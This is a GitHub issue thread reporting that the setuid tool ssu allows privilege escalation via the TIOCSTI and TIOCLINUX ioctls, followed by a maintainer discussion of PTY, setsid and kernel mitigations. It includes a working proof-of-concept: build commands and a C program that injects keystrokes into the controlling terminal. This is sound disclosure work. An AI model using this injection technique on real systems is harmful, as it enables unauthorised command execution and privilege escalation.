[Git master] Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX

[hartwork]

Hi!

I believe that ssu is vulnerabily to privilege escalation using ioctls TIOCSTI and TIOCLINUX. Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://github.com/illiliti/ssu
$ cd ssu/
$ git rev-parse HEAD  # 606a96b542bb16bd1f4c20058477994f75186fc9
$ make
$ sudo chown root:root ./ssu
$ sudo chmod u+s ./ssu
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./ssu -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

• This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.
• ttyjack allows playing with TIOCSTI and TIOCLINUX comfortably.
• Of the three known options for counter measures, use of a PTY is currently considered the best solution.
• For a list of other software known affected by this issue please see https://github.com/hartwork/antijack#related-cves-not-mine .
• The code above is inspired by https://github.com/containers/bubblewrap/issues/142 .

Best, Sebastian

[illiliti]

I'm aware of this issue, but I don't see if there is anything sane I can do on my side. Plain setsid will break stuff, if I remember correctly. Proxying ptys is too fragile and inefficient as it requires dealing with signals. seccomp/bpf - absolute no go due to non-portable nature.

[hartwork]

Hi @illiliti, thanks for your reply! I agree that getting the PTY approach right is non-trivial. When you say inefficient, what kind of inefficiency do you have in mind? If it's about the signals, I'm not sure I see the connection yet. Could you elaborate?

[illiliti]

what kind of inefficiency do you have in mind?

polling ptys, reading/writing from/to ptys, SIGWINCH/SIGCHLD handling, ... This all looks pretty inefficient to me and strictly speaking smells like a hack than actual solution.

If I was in charge to fix this problem, I would drop TTY subsystem altogether(as well as escape sequencies, VT, TUIs and all other legacy crap) and start from scratch taking into account past design mistakes. But I'm not in charge and backwards compatibility is still a thing, so, I don't see simpler solution other than to disable these ioctls in kernel. Perhaps only for suid binaries(and propogate to childs of course) in order to not break everything at once.

[hartwork]

@illiliti thanks for elaborating. Personally by now I believe that use of a PTY is a non-hack solution in the sense that a process running with different permissions should not be granted access to the controlling terminal in the first place, an putting a PTY in between is gets separated what should be separate, the PTY fixes that mis-grant of permission. Regarding the ioctls, there seem to be some non-mainstream but important use cases where blocking these ioctls will not be an option.

How would you like to proceed with this ticket?

[illiliti]

Maybe I'll poke around and try to simplify that pty solution to acceptable level, but I highly doubt that is right direction towards fix. I'm convinced that solution lies down in kernel because userspace is not appropriate place for it due to a lot of fragile signal-heavy code being needed to implement it correctly which should give you a sign that you are doing something wrong and you should stop right now.

Nevertheless, I'll keep this open until the issue peter out itself, or I implement workaround which again is highly unlikely.

[hartwork]

@illiliti thanks for keeping it open :pray: